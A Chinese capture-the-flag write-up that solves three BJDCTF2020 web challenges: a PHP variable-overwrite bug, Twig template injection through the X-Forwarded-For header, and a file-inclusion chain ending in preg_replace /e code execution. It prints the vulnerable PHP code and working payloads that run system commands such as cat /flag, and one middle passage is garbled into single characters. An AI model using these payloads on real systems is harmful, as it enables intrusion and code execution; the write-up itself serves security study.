[BJDCTF2020]Mark loves cat
扫描器扫一下,发现是git泄露。
用githack提取一下
flag.php
index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
审计一下代码,出现$ $ 的变量覆盖比较多。
include ‘flag.php’;的意思就是告诉$flag就是真正的flag
- 首先我们想到的是让脚本执行到最后一句echo
f
l
a
g
;
,
但
即
使
绕
过
三
个
i
f
语
句
,
我
们
G
E
T
传
参
或
者
P
O
S
T
传
参
的
f
l
a
g
总
会
被
变
量
覆
盖
:
如
我
们
G
E
T
传
参
f
l
a
g
=
a
a
a
,
在
第
二
个
f
o
r
e
a
c
h
语
句
中
变
成
flag;,但即使绕过三个if语句,我们GET传参或者POST传参的flag总会被变量覆盖:如我们GET传参flag=aaa,在第二个foreach语句中变成
flag;,但即使绕过三个if语句,我们GET传参或者POST传参的flag总会被变量覆盖:如我们GET传参flag=aaa,在第二个foreach语句中变成flag =
a
a
a
,
而
aaa,而
aaa,而aaa变量没有定义为空,最后的输出就是空。
同理:我们POST传参flag=aaa,在第一个foreach语句中变成$flag= aaa,flag被覆盖为‘aaa’,最后输出aaa - 由此看来,这样行不通,回过头来前面说到if语句中的exit()函数虽然会退出执行,但也会输出其参数,我们可以利用变量覆盖将exit()函数内的参数用$flag覆盖掉就能输出flag了;
最后
思路理清了,这里面有三个if语句,其中有两个能利用变量覆盖输出flag,也就是说有两种方法
一是第二个if语句中可以看到这里是输出的$yds变量,那么我们就要通过变量覆盖达 到$yds=$flag的效果,
GET传参yds=flag,在第二个foreach语句中,首先是$x=yds,$y=flag,经过$$x = $$y也就变成了$yds=$flag,这是其一;
二是第三个if语句中输出变量$is,判断条件为$_POST['flag'] === 'flag' || $_GET['flag'] === 'flag',这里可以通过满足后面这个条件进行变量覆盖:
GET传参is=flag&flag=flag;
在第二个foreach语句中,首先是$x=is,$y=flag,带进去就变成了$is=$flag,这就达到了覆盖的目的,而参数中flag=flag只是为了满足if语句;
考点总结:
- .git源码泄露;
- $$导致变量覆盖漏洞 (参考CTF之php变量覆盖漏洞)
[BJDCTF2020]The mystery of ip
考点
- X-Forwarded-For注入
- PHP可能存在Twig模版注入漏洞
知识点
- tplmap探测是否存在模板注入漏洞(tplmap的使用方法:Tplmap-20201029 帮助信息)
- smartly模板注入
各项HTTP请求的意义
流程:
结合题目名,IP的秘密,flag页面也出现了IP,猜测为X-Forwarded-For处有问题
使用BurpSuite抓取数据包:
添加HTTP请求头:X-Forwarded-For: 1
得到回显页面:
被成功执行,说明XFF可控,测试了半天,因为是php页面,所以没想到模版注入,通过查阅资料
- Flask可能存在Jinjia2模版注入漏洞
- PHP可能存在Twig模版注入漏洞**
构造payload尝试一下:
X-Forwarded-For: {{7*7}}
尝试是否能执行命令:X-Forwarded-For: {{system('ls')}}
在/目录下查找到flag,读取flag,构造payload:
X-Forwarded-For: {{system('cat /flag')}}
[BJDCTF2020]ZJCTF,不过如此
strtolower() 函数把字符串转换为小写。
lcfirst() - 把字符串中的首字符转换为小写
strtoupper() - 把字符串转换为大写
ucfirst() - 把字符串中的首字符转换为大写
ucwords() - 把字符串中每个单词的首字符转换为大写
打开题目
分析代码,ge传入两个参数text和file,text参数利用file_get_contents()函数只读形式打开,打开后内容要与"I have a dream"字符串相匹配,才能执行下面的文件包含$file参数。
看到用的是file_get_contents()函数打开text参数,以及后面的文件包含函数,自然的想到php伪协议中的data://协议
源码中提示我们去包含next.php文件,所以我们利用php://filter协议去读下next.php的源码。
构造payload
index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
base64解码,得到next.php的源码。
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
接下来重点:
思路是利用这个代码执行,执行源码中的getFlag()函数,在传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行。
于是构造Payload:next.php?\S*=${getFlag()}&cmd=system('cat /flag');
得到flag
解析
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
strtolower() 函数把字符串转换为小写。
/e模式的preg_replace,有一个远程代码执行漏洞。
正则里面/i 是忽略大小写.
/e 修正符使 preg_replace() 将 replacement 参数(第二个参数,字符串)当作 PHP 代码执行。
这里的第二个参数是固定了的,怎么利用?
查资料发现,\1表示取出正则匹配后的第一个子匹配中的第一项,(这里其实就是 thinkphp2.x、3.0-3.1版本的rce漏洞)
我们就要保证第一个匹配是我们想要执行的东西,那我就传进去phpinfo(),正则我可以填 .* 或者 \S+(大写S,小写s是匹配空白符),因为php里会把参数名里的特殊字符转为下划线“_”,那么我们就可以用第二种,+号在url中的时候记得编码为%2b,不然会认为是空格。
验证如下:
我们传
next.php?\S%2b=phpinfo()
发现还是不能执行,这是为啥?
-
用到的性质1:
在php中,双引号里面如果包含有变量,php解释器会进行解析;单引号中的变量不会被处理。注意:双引号中的函数不会被执行和替换。
如:
-
用到的特性2:
就是我们变量覆盖漏洞中常见的可变变量,因为要避免歧义,除了$$a这样子,还可以${$a}这样子。
官方解释
\1就是被双引号包围起来的,我们传:
/next.php?\S%2b=${phpinfo()}
发现也可以直接执行eval命令:
调用getFlag函数并传参:\S%2b=${getFlag()}&cmd=system('ls /');
发现flag,直接cat:\S%2b=${getFlag()}&cmd=system('cat /flag');